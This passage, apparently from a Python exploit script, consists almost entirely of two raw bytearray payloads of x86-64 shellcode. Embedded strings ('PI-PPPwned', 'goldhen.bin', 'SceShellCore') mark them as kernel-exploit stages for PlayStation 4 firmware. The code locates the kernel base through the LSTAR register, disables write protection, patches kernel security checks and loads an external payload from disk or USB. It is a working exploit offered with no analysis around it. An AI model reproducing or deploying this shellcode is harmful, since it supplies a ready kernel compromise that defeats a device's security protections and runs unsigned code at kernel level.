            payload = bytearray([233,168,6,0,0,83,72,137,251,72,131,236,32,72,139,5,204,7,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,137,76,36,24,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,72,131,236,24,72,139,5,135,7,0,0,72,137,52,36,72,137,230,199,68,36,8,255,1,0,0,72,139,128,136,25,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,72,131,196,24,195,72,131,236,24,72,139,5,84,7,0,0,137,116,36,8,72,141,116,36,8,72,139,128,40,1,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,72,131,196,24,195,65,87,185,130,0,0,192,65,86,65,85,73,137,213,65,84,73,137,244,85,72,137,253,83,72,129,236,56,4,0,0,15,50,72,193,226,32,137,192,76,141,116,36,48,190,0,1,0,0,72,9,194,76,141,61,148,6,0,0,76,137,247,49,192,72,137,211,76,141,130,176,85,32,0,76,137,249,72,129,195,192,23,63,0,72,141,21,151,6,0,0,65,255,208,76,137,247,255,211,128,124,4,47,47,72,137,195,117,5,198,68,4,47,0,72,141,68,36,49,138,16,132,210,116,37,128,250,47,117,27,198,0,0,76,137,246,72,137,239,72,137,68,36,8,232,11,255,255,255,72,139,68,36,8,198,0,47,72,255,192,235,213,65,128,124,31,255,47,117,11,76,137,246,72,137,239,232,235,254,255,255,76,137,230,49,201,49,210,72,137,239,232,147,254,255,255,49,219,65,137,196,133,192,15,136,252,0,0,0,76,137,238,185,164,1,0,0,186,1,6,0,0,72,137,239,232,113,254,255,255,76,141,124,36,24,65,137,197,133,192,121,16,68,137,230,72,137,239,232,214,254,255,255,233,203,0,0,0,72,139,5,41,6,0,0,76,137,254,72,137,239,72,139,128,152,0,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,116,36,32,72,199,68,36,40,0,4,0,0,255,208,137,195,133,192,116,4,247,219,235,6,139,157,152,3,0,0,72,99,195,72,133,192,126,78,72,139,21,221,5,0,0,76,137,254,72,137,239,72,139,146,200,0,0,0,68,137,108,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,116,36,32,72,137,68,36,40,255,210,133,192,116,4,247,216,235,6,139,133,152,3,0,0,57,216,15,132,110,255,255,255,68,137,230,72,137,239,235,8,68,137,230,72,137,239,116,20,232,42,254,255,255,68,137,238,72,137,239,49,219,232,29,254,255,255,235,21,232,22,254,255,255,68,137,238,72,137,239,187,1,0,0,0,232,6,254,255,255,72,129,196,56,4,0,0,137,216,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,83,72,129,236,8,13,0,0,72,137,180,36,88,12,0,0,72,137,148,36,96,12,0,0,72,137,140,36,104,12,0,0,76,137,132,36,112,12,0,0,76,137,140,36,120,12,0,0,132,192,116,64,15,41,132,36,128,12,0,0,15,41,140,36,144,12,0,0,15,41,148,36,160,12,0,0,15,41,156,36,176,12,0,0,15,41,164,36,192,12,0,0,15,41,172,36,208,12,0,0,15,41,180,36,224,12,0,0,15,41,188,36,240,12,0,0,185,130,0,0,192,15,50,72,193,226,32,137,192,72,141,108,36,32,76,137,214,72,137,211,72,141,124,36,77,72,141,84,36,8,199,68,36,8,8,0,0,0,72,9,195,72,141,132,36,32,13,0,0,199,68,36,12,48,0,0,0,72,137,68,36,16,72,141,132,36,80,12,0,0,72,137,68,36,24,72,141,131,128,85,32,0,72,129,195,160,46,70,0,255,208,199,68,36,32,0,0,0,0,72,137,238,49,201,199,68,36,72,0,0,0,0,186,48,12,0,0,49,255,198,68,36,76,0,199,68,36,48,255,255,255,255,255,211,72,129,196,8,13,0,0,91,93,195,243,15,30,250,83,72,137,251,72,131,236,16,72,139,5,46,4,0,0,72,137,52,36,72,137,230,72,139,128,56,6,0,0,199,68,36,8,0,0,0,0,72,199,135,152,3,0,0,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,133,192,15,148,192,72,131,196,16,15,182,192,91,195,243,15,30,250,65,85,185,130,0,0,192,73,137,213,72,131,236,16,15,50,72,137,116,36,8,72,137,60,36,232,140,255,255,255,133,192,116,23,72,139,116,36,8,72,139,60,36,72,131,196,16,76,137,234,65,93,233,128,252,255,255,72,131,196,16,49,192,65,93,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,72,137,253,83,72,131,236,56,15,50,49,201,65,137,214,49,210,65,137,197,232,163,251,255,255,133,192,15,136,104,1,0,0,65,137,196,72,139,5,108,3,0,0,76,141,124,36,24,72,137,239,76,137,254,72,139,128,168,89,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,72,199,68,36,32,0,0,0,0,199,68,36,40,2,0,0,0,255,208,137,195,133,192,116,4,247,219,235,6,139,157,152,3,0,0,72,139,5,32,3,0,0,72,99,219,76,137,254,72,137,239,72,139,128,168,89,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,72,199,68,36,32,0,0,0,0,199,68,36,40,0,0,0,0,255,208,72,133,219,15,142,159,0,0,0,73,193,230,32,77,9,238,76,141,171,255,63,0,0,76,137,234,73,139,190,112,118,20,2,73,141,134,16,136,24,0,72,129,226,0,192,255,255,72,137,84,36,8,72,137,214,255,208,72,139,84,36,8,72,133,192,73,137,197,116,98,72,139,5,160,2,0,0,72,137,84,36,8,76,137,254,72,137,239,72,139,128,152,0,0,0,68,137,100,36,24,72,199,133,152,3,0,0,0,0,0,0,76,137,108,36,32,72,137,92,36,40,255,208,72,139,84,36,8,133,192,116,4,247,216,235,6,139,133,152,3,0,0,72,152,72,57,195,116,44,73,139,190,112,118,20,2,73,141,134,224,137,24,0,76,137,238,255,208,72,131,196,56,68,137,230,72,137,239,91,93,65,92,65,93,65,94,65,95,233,205,250,255,255,68,137,230,72,137,239,232,194,250,255,255,72,131,196,56,76,137,232,91,93,65,92,65,93,65,94,65,95,255,224,72,131,196,56,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,185,130,0,0,192,65,84,85,72,137,253,72,131,236,16,15,50,76,141,45,164,1,0,0,76,141,37,119,1,0,0,76,137,238,232,145,253,255,255,133,192,116,99,76,137,230,72,137,239,232,130,253,255,255,133,192,117,16,76,137,226,76,137,238,72,137,239,232,194,253,255,255,235,68,72,139,5,168,1,0,0,76,137,100,36,8,72,141,116,36,8,72,137,239,72,139,128,232,1,0,0,72,199,133,152,3,0,0,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,133,152,3,0,0,133,192,121,182,72,131,196,16,93,65,92,65,93,195,76,137,230,72,137,239,232,31,253,255,255,133,192,117,21,72,131,196,16,72,141,61,42,1,0,0,93,65,92,65,93,233,246,251,255,255,72,131,196,16,76,137,230,72,137,239,93,65,92,65,93,233,138,253,255,255,243,15,30,250,72,131,236,24,185,130,0,0,192,15,50,72,193,226,32,137,192,72,9,194,72,141,130,48,145,15,1,72,137,5,13,1,0,0,15,32,192,72,137,193,72,129,225,255,255,254,255,15,34,193,199,130,208,2,0,0,0,0,0,0,102,199,130,245,2,0,0,144,144,102,199,130,249,2,0,0,144,144,198,130,2,3,0,0,235,102,199,130,71,29,32,0,144,144,102,199,130,83,29,32,0,144,144,198,130,85,29,32,0,144,102,199,130,82,28,32,0,144,144,102,199,130,94,28,32,0,144,144,198,130,96,28,32,0,144,102,199,130,243,33,32,0,144,144,102,199,130,255,33,32,0,144,144,198,130,1,34,32,0,144,102,199,130,48,34,32,0,144,144,15,34,192,72,141,61,108,0,0,0,49,192,232,36,251,255,255,72,131,196,24,101,72,139,60,37,0,0,0,0,233,100,254,255,255,47,100,97,116,97,47,71,111,108,100,72,69,78,47,112,97,121,108,111,97,100,115,47,103,111,108,100,104,101,110,46,98,105,110,0,37,115,0,47,109,110,116,47,117,115,98,48,47,103,111,108,100,104,101,110,46,98,105,110,0,103,111,108,100,104,101,110,46,98,105,110,32,110,111,116,32,102,111,117,110,100,33,0,80,73,45,80,80,80,119,110,101,100,0])
        else:
            payload = bytearray([233,190,1,0,0,243,15,30,250,72,139,22,49,192,255,226,243,15,30,250,72,139,71,8,185,130,0,0,192,72,139,191,48,1,0,0,72,139,112,64,76,139,64,72,15,50,72,193,226,32,137,192,72,199,70,4,0,0,0,0,72,9,194,72,139,134,24,1,0,0,199,70,20,0,0,0,0,199,0,0,0,0,0,72,139,130,16,54,17,1,72,137,70,48,72,139,130,112,106,26,2,73,137,64,32,73,137,64,24,72,184,19,0,0,0,0,0,1,56,72,137,71,88,49,192,72,199,71,96,255,255,255,255,72,199,71,104,255,255,255,255,195,83,72,137,251,72,131,236,32,72,139,5,195,51,0,0,72,137,116,36,8,72,141,116,36,8,72,139,128,248,0,0,0,137,84,36,16,72,199,135,152,3,0,0,0,0,0,0,199,68,36,24,0,0,0,0,255,208,133,192,116,4,247,216,235,6,139,131,152,3,0,0,72,131,196,32,91,195,243,15,30,250,72,137,248,128,56,0,116,5,72,255,192,235,246,72,41,248,195,243,15,30,250,49,192,72,57,194,116,18,138,12,7,72,255,192,58,76,6,255,116,239,25,192,131,200,1,195,49,192,195,243,15,30,250,69,49,192,72,133,246,116,42,76,139,135,160,210,33,2,72,137,247,232,176,255,255,255,72,137,194,73,141,184,84,4,0,0,232,182,255,255,255,133,192,116,8,77,139,0,77,133,192,117,232,76,137,192,195,243,15,30,250,65,87,73,137,255,185,130,0,0,192,65,86,73,137,246,65,85,65,84,85,83,65,80,15,50,72,193,226,32,137,192,189,50,0,0,0,73,189,0,0,32,38,9,0,0,0,72,9,194,72,141,154,112,45,25,0,77,137,236,79,141,108,53,0,106,0,49,246,106,7,76,137,225,65,185,7,0,0,0,77,137,232,49,210,76,137,255,255,211,89,94,133,192,116,7,255,205,117,213,69,49,228,90,76,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,65,84,85,83,72,129,236,88,12,0,0,15,50,72,193,226,32,137,192,72,9,194,72,137,214,15,50,72,193,226,32,137,192,72,9,194,72,141,134,48,145,15,1,72,137,5,92,50,0,0,76,141,162,64,254,255,255,15,32,193,72,137,200,72,37,255,255,254,255,15,34,192,198,134,2,3,0,0,235,72,141,29,221,253,255,255,102,199,134,83,29,32,0,144,144,198,134,85,29,32,0,144,102,199,134,94,28,32,0,144,144,198,134,96,28,32,0,144,102,199,134,255,33,32,0,144,144,198,134,1,34,32,0,144,72,139,5,1,50,0,0,199,134,208,2,0,0,0,0,0,0,102,199,134,245,2,0,0,144,144,102,199,134,249,2,0,0,144,144,102,199,134,71,29,32,0,144,144,102,199,134,82,28,32,0,144,144,102,199,134,243,33,32,0,144,144,102,199,134,48,34,32,0,144,144,102,65,199,132,36,116,174,41,0,144,144,65,198,132,36,156,138,24,0,7,65,198,132,36,164,138,24,0,7,72,137,152,24,2,0,0,72,141,29,70,253,255,255,102,199,68,36,5,144,144,198,68,36,7,144,199,128,16,2,0,0,2,0,0,0,199,128,60,2,0,0,1,0,0,0,199,128,176,1,0,0,2,0,0,0,72,137,152,184,1,0,0,199,128,220,1,0,0,1,0,0,0,15,34,193,49,192,72,141,124,36,32,185,12,3,0,0,243,171,72,141,68,36,77,72,141,53,61,9,0,0,185,11,0,0,0,72,137,199,199,68,36,48,255,255,255,255,76,141,138,32,26,25,0,72,141,154,144,26,25,0,243,164,72,141,53,33,9,0,0,76,137,231,198,68,36,76,1,101,72,139,44,37,0,0,0,0,232,177,253,255,255,72,133,192,15,132,50,1,0,0,76,139,184,104,1,0,0,73,137,197,76,137,255,65,255,209,190,0,0,8,0,76,137,255,232,197,253,255,255,76,137,255,73,137,198,255,211,76,99,5,44,9,0,0,76,137,241,76,137,234,80,76,141,13,62,9,0,0,76,137,230,72,137,239,106,0,232,231,2,0,0,90,89,133,192,15,133,225,0,0,0,76,137,241,76,137,234,76,137,230,72,137,239,232,6,4,0,0,133,192,15,133,200,0,0,0,76,141,37,158,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,165,252,255,255,137,195,133,192,117,73,186,5,0,0,0,76,137,230,72,137,239,232,143,252,255,255,137,195,133,192,117,51,76,141,37,126,8,0,0,186,1,0,0,0,72,137,239,76,137,230,232,114,252,255,255,137,195,133,192,117,22,186,5,0,0,0,76,137,230,72,137,239,232,92,252,255,255,137,195,133,192,116,98,72,139,5,33,48,0,0,72,141,84,36,32,76,141,100,36,8,72,137,239,76,137,230,72,139,128,200,0,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,72,137,84,36,16,72,199,68,36,24,48,12,0,0,255,208,72,139,5,228,47,0,0,76,137,230,72,137,239,72,139,128,40,1,0,0,72,199,133,152,3,0,0,0,0,0,0,137,92,36,8,255,208,72,129,196,88,12,0,0,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,76,141,190,128,29,25,0,65,86,65,85,73,137,205,185,130,0,0,192,65,84,77,137,196,85,83,72,137,243,72,131,236,40,76,139,178,104,1,0,0,72,199,68,36,24,0,0,0,0,15,50,72,141,134,48,29,25,0,76,137,247,255,208,73,99,174,0,1,0,0,133,237,117,7,49,219,233,164,0,0,0,49,246,72,141,84,36,24,72,141,131,112,35,25,0,76,137,247,255,208,133,192,137,68,36,12,117,222,72,99,253,72,141,179,176,236,164,1,186,2,0,0,0,72,129,195,48,211,41,0,72,107,255,58,255,211,72,137,195,72,133,192,116,186,139,76,36,12,57,233,125,93,72,139,84,36,24,72,131,192,58,72,139,114,32,72,137,112,230,72,139,114,40,72,137,112,238,72,139,114,80,72,137,112,246,139,122,92,137,254,102,193,238,8,33,254,102,137,112,254,15,16,130,141,0,0,0,15,17,64,198,15,16,138,157,0,0,0,72,139,84,36,24,15,17,72,214,72,139,82,8,72,137,84,36,24,72,133,210,116,4,255,193,235,159,76,137,247,65,255,215,77,133,237,116,4,73,137,93,0,77,133,228,116,4,73,137,44,36,72,131,196,40,49,192,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,73,137,250,73,137,203,72,137,215,83,185,130,0,0,192,72,131,236,72,72,139,108,36,96,15,50,73,129,248,255,255,63,0,119,125,72,133,255,116,120,76,137,195,77,133,192,117,17,49,192,72,133,237,116,110,72,199,69,0,0,0,0,0,235,100,72,137,224,76,137,68,36,8,72,137,68,36,16,49,192,131,124,36,104,0,15,149,192,76,137,68,36,40,76,141,68,36,16,137,68,36,52,72,141,134,32,150,71,0,76,137,198,76,137,12,36,199,68,36,24,1,0,0,0,76,137,92,36,32,199,68,36,48,1,0,0,0,76,137,84,36,56,255,208,72,133,237,116,16,72,43,92,36,40,72,137,93,0,235,5,184,1,0,0,0,72,131,196,72,91,93,195,243,15,30,250,80,106,0,255,116,36,24,232,63,255,255,255,72,131,196,24,195,243,15,30,250,80,106,1,255,116,36,24,232,42,255,255,255,72,131,196,24,195,243,15,30,250,65,87,65,86,65,85,65,84,85,72,137,205,185,130,0,0,192,83,72,137,243,72,137,214,72,131,236,40,72,199,68,36,24,0,0,0,0,15,50,72,141,131,240,77,25,0,65,188,1,0,0,0,72,137,68,36,8,72,133,237,116,125,76,139,190,104,1,0,0,77,137,198,76,141,131,224,27,25,0,76,141,171,80,28,25,0,76,137,255,65,255,208,72,139,68,36,8,72,141,76,36,24,76,137,242,49,246,76,137,255,255,208,65,137,196,133,192,116,8,76,137,255,65,255,213,235,60,72,139,76,36,24,49,210,106,0,65,185,7,0,0,0,106,7,49,246,76,137,255,72,129,195,48,47,25,0,78,141,4,49,255,211,76,137,255,65,137,196,65,255,213,88,90,69,133,228,117,9,72,139,68,36,24,72,137,69,0,72,131,196,40,68,137,224,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,85,65,84,73,137,204,85,76,137,197,83,72,137,243,80,76,139,170,104,1,0,0,72,141,134,224,27,25,0,76,137,239,255,208,73,141,20,44,76,137,230,76,137,239,72,141,131,48,72,25,0,72,129,195,80,28,25,0,255,208,76,137,239,65,137,196,255,211,90,68,137,224,91,93,65,92,65,93,195,243,15,30,250,65,87,65,86,73,137,254,65,85,73,137,213,65,84,85,72,137,245,83,72,129,236,136,0,0,0,72,137,76,36,40,185,130,0,0,192,72,199,68,36,56,0,0,0,0,72,199,68,36,64,0,0,0,0,72,199,68,36,72,0,0,0,0,72,199,68,36,80,0,0,0,0,72,199,68,36,88,0,0,0,0,15,50,65,184,0,64,0,0,72,141,76,36,56,76,137,234,232,113,254,255,255,65,137,196,133,192,15,133,168,2,0,0,72,141,76,36,64,76,137,234,72,137,238,76,137,247,65,184,0,0,8,0,232,77,254,255,255,65,137,196,133,192,15,133,132,2,0,0,72,139,92,36,56,86,76,137,247,76,137,234,65,184,255,0,0,0,76,141,13,222,2,0,0,72,137,238,72,137,217,76,141,124,36,96,65,87,232,2,254,255,255,95,65,88,65,137,196,133,192,15,133,75,2,0,0,73,139,69,16,72,141,76,36,72,76,137,234,72,137,238,76,141,68,36,80,76,137,247,72,137,68,36,16,232,233,251,255,255,65,137,196,133,192,15,133,31,2,0,0,72,139,68,36,80,72,139,76,36,72,72,199,68,36,96,0,0,0,0,69,49,192,72,199,68,36,104,0,0,0,0,72,141,53,169,3,0,0,72,199,68,36,112,0,0,0,0,72,199,68,36,120,0,0,0,0,72,137,68,36,8,76,57,68,36,8,15,132,215,1,0,0,102,131,121,56,5,117,115,72,137,207,186,18,0,0,0,76,137,68,36,32,72,137,76,36,24,232,188,247,255,255,72,139,76,36,24,76,139,68,36,32,72,141,53,88,3,0,0,133,192,117,71,72,139,65,32,72,141,136,64,62,1,0,72,141,144,32,62,1,0,72,137,76,36,104,72,141,136,96,66,1,0,72,5,48,232,8,0,72,137,68,36,120,72,139,68,36,64,72,137,84,36,96,72,137,76,36,112,72,137,68,36,8,72,133,210,117,17,233,93,1,0,0,73,255,192,72,131,193,58,233,111,255,255,255,80,72,141,75,13,76,137,234,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,76,36,56,232,218,252,255,255,90,89,133,192,15,133,36,1,0,0,65,81,72,141,75,21,65,184,8,0,0,0,76,137,234,65,87,72,137,238,76,137,247,76,141,76,36,112,232,175,252,255,255,65,90,65,91,133,192,15,133,247,0,0,0,86,65,184,8,0,0,0,76,137,247,72,141,75,29,65,87,76,137,234,72,137,238,76,141,76,36,120,232,131,252,255,255,95,65,88,133,192,15,133,204,0,0,0,65,82,76,137,234,72,141,75,37,65,184,8,0,0,0,65,87,72,137,238,76,137,247,76,141,140,36,128,0,0,0,232,84,252,255,255,65,91,90,133,192,15,133,157,0,0,0,87,65,184,8,0,0,0,72,141,75,45,76,137,234,65,87,72,137,238,76,137,247,76,141,140,36,136,0,0,0,232,38,252,255,255,65,88,65,89,133,192,117,114,86,72,141,83,77,72,141,133,48,196,30,0,49,201,106,0,65,185,0,0,8,0,49,246,106,0,106,0,106,0,106,0,76,139,68,36,56,72,139,124,36,64,255,208,72,131,196,48,133,192,117,62,198,68,36,55,0,76,141,76,36,55,80,72,141,75,12,76,137,234,65,184,1,0,0,0,65,87,72,137,238,76,137,247,76,137,76,36,24,232,171,251,255,255,90,89,133,192,117,14,128,124,36,55,0,76,139,76,36,8,116,206,235,3,65,137,196,72,139,124,36,72,72,133,255,116,16,72,141,181,176,236,164,1,72,141,133,240,212,41,0,255,208,72,139,76,36,56,72,133,201,116,20,65,184,0,64,0,0,76,137,234,72,137,238,76,137,247,232,87,252,255,255,72,139,76,36,64,72,133,201,116,20,65,184,0,0,8,0,76,137,234,72,137,238,76,137,247,232,57,252,255,255,72,129,196,136,0,0,0,68,137,224,91,93,65,92,65,93,65,94,65,95,195,0,0,0,0,0,0,0,0,82,76,68,82,77,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,114,112,99,115,116,117,98,0,72,139,61,217,255,255,255,72,139,55,72,139,190,224,1,0,0,232,122,0,0,0,72,141,61,211,255,255,255,76,139,37,164,255,255,255,65,255,212,190,0,0,8,0,72,141,61,189,255,255,255,76,139,37,150,255,255,255,65,255,212,76,141,5,180,255,255,255,185,0,0,0,0,72,139,21,112,255,255,255,72,141,53,153,255,255,255,72,141,61,138,255,255,255,76,139,37,115,255,255,255,65,255,212,198,5,80,255,255,255,1,191,0,0,0,0,232,1,0,0,0,195,184,175,1,0,0,73,137,202,15,5,195,184,165,0,0,0,73,137,202,15,5,195,85,72,137,229,83,72,131,236,24,72,137,125,232,72,141,117,232,191,129,0,0,0,232,218,255,255,255,72,131,196,24,91,93,195,80,73,45,80,80,80,119,110,101,100,0,83,99,101,83,104,101,108,108,67,111,114,101,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,48,0,47,100,101,118,47,110,111,116,105,102,105,99,97,116,105,111,110,49,0,108,105,98,107,101,114,110,101,108,95,115,121,115,46,115,112,114,120,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,128,39,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,233,250,2,0,0,72,49,192,73,137,202,15,5,114,1,195,72,131,61,144,39,0,0,0,116,24,80,255,21,135,39,0,0,89,137,8,72,199,192,255,255,255,255,72,199,194,255,255,255,255,195,243,15,30,250,65,87,185,130,0,0,192,65,86,65,85,15,50,65,84,72,193,226,32,85,83,72,131,236,24,72,9,208,72,139,86,8,76,141,128,200,140,34,2,76,137,68,36,8,76,139,34,76,139,106,8,77,133,228,15,132,63,2,0,0,73,131,253,7,15,134,53,2,0,0,72,141,152,64,254,255,255,76,141,184,16,29,67,0,72,141,168,152,233,205,0,72,184,88,68,65,79,76,89,65,80,73,57,4,36,15,133,12,2,0,0,65,15,32,198,76,137,240,72,37,255,255,254,255,15,34,192,199,131,224,11,165,1,0,0,0,0,49,246,102,199,131,223,254,25,0,235,76,72,137,239,102,199,131,96,25,1,0,49,192,186,0,64,0,0,198,131,98,25,1,0,195,198,131,122,45,18,0,55,198,131,125,45,18,0,55,199,131,47,165,31,0,184,0,0,0,198,131,51,165,31,0,0,198,131,156,138,24,0,7,198,131,164,138,24,0,7,102,199,131,7,31,32,0,144,144,102,199,131,19,31,32,0,144,144,198,131,21,31,32,0,144,102,199,131,18,30,32,0,144,144,102,199,131,30,30,32,0,144,144,198,131,32,30,32,0,144,102,199,131,179,35,32,0,144,144,102,199,131,191,35,32,0,144,144,198,131,193,35,32,0,144,102,199,131,240,35,32,0,144,144,198,131,205,28,32,0,235,199,131,29,160,71,0,144,144,144,144,102,199,131,33,160,71,0,144,144,199,131,241,164,71,0,233,124,2,0,198,131,245,164,71,0,0,199,131,236,209,31,0,72,49,192,144,198,131,240,209,31,0,144,199,131,166,156,44,0,144,144,144,144,102,199,131,170,156,44,0,144,144,199,131,59,109,25,0,144,144,144,144,102,199,131,63,109,25,0,144,144,102,199,131,0,172,106,0,49,192,198,131,2,172,106,0,195,102,199,131,160,62,100,0,176,1,198,131,162,62,100,0,195,102,199,131,208,62,100,0,176,1,198,131,210,62,100,0,195,102,199,131,87,85,32,0,235,59,199,131,199,240,0,0,144,144,144,144,102,199,131,203,240,0,0,144,144,199,131,7,253,27,0,144,144,144,144,102,199,131,11,253,27,0,144,144,102,199,131,210,33,32,0,144,144,102,199,131,225,33,32,0,144,144,199,131,56,144,78,0,0,0,0,0,199,131,111,160,78,0,0,0,0,0,255,21,71,37,0,0,76,137,234,76,137,230,72,137,239,255,21,48,37,0,0,198,131,23,31,67,0,235,72,139,124,36,8,74,141,148,45,255,63,0,0,72,137,238,72,129,226,0,192,255,255,72,129,230,0,192,255,255,185,7,0,0,0,65,255,215,198,131,23,31,67,0,117,65,15,34,198,73,139,84,36,8,72,131,196,24,91,49,192,72,1,234,93,65,92,65,93,65,94,65,95,255,226,72,131,196,24,131,200,255,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,85,72,137,250,72,129,236,0,2,0,0,72,141,53,98,34,0,0,72,137,229,49,192,72,137,239,255,21,160,36,0,0,72,137,238,191,222,0,0,0,255,21,138,36,0,0,72,129,196,0,2,0,0,93,195,243,15,30,250,65,85,65,84,85,72,131,236,16,232,238,0,0,0,232,107,1,0,0,72,141,5,251,1,0,0,72,137,4,36,139,5,17,34,0,0,72,137,68,36,8,49,192,255,21,116,36,0,0,72,137,230,72,141,61,245,252,255,255,199,0,0,0,0,0,232,116,0,0,0,133,192,65,137,196,116,11,49,192,255,21,80,36,0,0,68,139,32,76,141,45,221,33,0,0,76,137,239,72,141,45,233,33,0,0,232,64,0,0,0,72,137,239,232,56,0,0,0,76,137,239,190,255,1,0,0,232,67,0,0,0,72,137,239,190,255,1,0,0,232,54,0,0,0,232,73,1,0,0,72,141,61,213,33,0,0,232,32,255,255,255,72,131,196,16,68,137,224,93,65,92,65,93,195,72,199,192,10,0,0,0,233,75,252,255,255,72,199,192,11,0,0,0,233,63,252,255,255,72,199,192,136,0,0,0,233,51,252,255,255,72,199,192,79,2,0,0,233,39,252,255,255,243,15,30,250,72,137,241,49,210,72,137,254,69,49,192,80,191,82,2,0,0,49,192,232,8,252,255,255,90,195,243,15,30,250,85,72,141,61,130,33,0,0,72,131,236,16,72,199,5,142,35,0,0,0,0,0,0,72,141,108,36,12,72,137,238,232,186,255,255,255,133,192,116,34,72,137,238,72,141,61,103,33,0,0,232,167,255,255,255,133,192,116,15,72,137,238,72,141,61,103,33,0,0,232,148,255,255,255,139,124,36,12,72,141,21,80,35,0,0,72,141,53,99,33,0,0,232,113,255,255,255,139,124,36,12,72,141,21,49,35,0,0,72,141,53,84,33,0,0,232,90,255,255,255,72,131,196,16,93,195,243,15,30,250,85,69,49,201,69,49,192,49,201,49,210,49,246,72,141,61,74,33,0,0,255,21,1,35,0,0,72,141,21,242,34,0,0,72,141,53,78,33,0,0,137,197,137,199,232,31,255,255,255,137,239,72,141,21,209,34,0,0,72,141,53,60,33,0,0,232,10,255,255,255,137,239,93,72,141,21,179,34,0,0,72,141,53,45,33,0,0,233,244,254,255,255,243,15,30,250,49,201,49,210,49,246,72,141,61,31,33,0,0,69,49,201,80,69,49,192,255,21,161,34,0,0,89,72,141,21,121,34,0,0,137,199,72,141,53,39,33,0,0,233,192,254,255,255,0,0,0,88,68,65,79,76,89,65,80,245,18,0,0,0,0,0,0,243,15,30,250,131,63,8,117,74,139,71,24,137,193,193,233,24,117,64,137,194,129,226,0,0,12,0,129,250,0,0,12,0,117,48,129,127,56,55,19,0,0,117,39,37,255,255,251,255,72,141,13,71,27,0,0,137,71,24,49,192,72,137,194,72,247,218,138,20,10,136,84,7,56,72,255,192,72,131,248,16,117,234,255,37,15,32,0,0,65,87,65,86,65,85,65,84,85,83,72,131,236,40,73,137,252,73,137,245,137,211,72,137,205,101,76,139,52,37,0,0,0,0,76,141,124,36,12,186,20,0,0,0,76,137,255,49,246,255,21,160,32,0,0,137,92,36,12,72,141,124,36,16,76,137,238,186,16,0,0,0,255,21,145,32,0,0,72,139,53,26,32,0,0,76,137,247,49,210,255,21,143,32,0,0,76,137,225,76,137,254,72,137,239,65,184,32,0,0,0,186,20,0,0,0,255,21,173,31,0,0,72,139,53,238,31,0,0,76,137,247,255,21,93,32,0,0,72,131,196,40,91,93,65,92,65,93,65,94,65,95,195,243,15,30,250,65,87,65,86,65,85,65,84,85,83,72,129,236,192,1,0,0,73,137,253,139,132,36,24,2,0,0,72,137,243,68,139,180,36,16,2,0,0,72,137,213,80,65,86,139,132,36,24,2,0,0,80,255,180,36,24,2,0,0,255,180,36,24,2,0,0,255,21,34,31,0,0,72,131,196,48,133,192,65,137,196,15,132,223,2,0,0,69,133,246,15,133,214,2,0,0,76,141,76,36,32,49,246,76,137,207,76,137,76,36,8,186,16,0,0,0,76,141,124,36,48,255,21,187,31,0,0,76,141,116,36,80,72,137,108,36,32,72,199,68,36,40,0,1,0,0,49,246,76,137,255,186,16,0,0,0,255,21,152,31,0,0,76,141,84,36,112,76,137,116,36,48,72,199,68,36,56,32,0,0,0,186,72,0,0,0,76,137,20,36,49,246,76,137,215,255,21,113,31,0,0,72,141,5,202,27,0,0,72,137,132,36,144,0,0,0,72,141,5,59,27,0,0,72,137,132,36,152,0,0,0,72,141,5,172,26,0,0,72,137,132,36,160,0,0,0,72,141,5,29,26,0,0,72,137,132,36,168,0,0,0,72,141,5,142,25,0,0,72,137,132,36,176,0,0,0,101,72,139,44,37,0,0,0,0,72,139,53,174,30,0,0,49,210,72,137,239,255,21,35,31,0,0,72,139,20,36,76,137,255,72,139,116,36,8,255,21,81,30,0,0,72,139,53,138,30,0,0,72,137,239,65,137,199,255,21,246,30,0,0,69,133,255,15,133,217,1,0,0,72,139,61,150,30,0,0,49,201,49,210,49,246,76,141,124,36,64,255,21,5,31,0,0,72,141,132,36,184,0,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,8,255,21,168,30,0,0,72,139,132,36,240,1,0,0,76,141,148,36,188,0,0,0,76,137,209,186,1,0,0,0,76,137,247,76,137,84,36,16,72,5,112,3,0,0,199,132,36,184,0,0,0,55,19,32,0,72,137,198,72,137,4,36,232,148,253,255,255,72,139,53,252,29,0,0,49,210,72,137,239,255,21,113,30,0,0,49,246,186,16,0,0,0,76,137,255,255,21,73,30,0,0,76,139,84,36,16,186,32,0,0,0,77,137,249,65,184,128,0,0,0,72,141,13,111,24,0,0,76,137,214,76,137,215,255,21,107,29,0,0,72,139,53,180,29,0,0,72,137,239,137,68,36,16,255,21,31,30,0,0,139,84,36,16,133,210,15,133,224,0,0,0,72,141,132,36,52,1,0,0,49,246,186,124,0,0,0,72,137,199,72,137,68,36,16,255,21,230,29,0,0,72,139,52,36,76,141,148,36,56,1,0,0,76,137,209,76,137,247,186,2